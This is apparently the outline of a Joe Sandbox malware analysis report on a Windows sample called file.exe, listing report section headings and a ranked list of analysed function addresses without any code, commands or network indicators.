HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00339860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 003245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00324880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00339C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00326280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00335510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 003317A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00337500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 003369F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00321220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00336AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 003247B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 003351F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON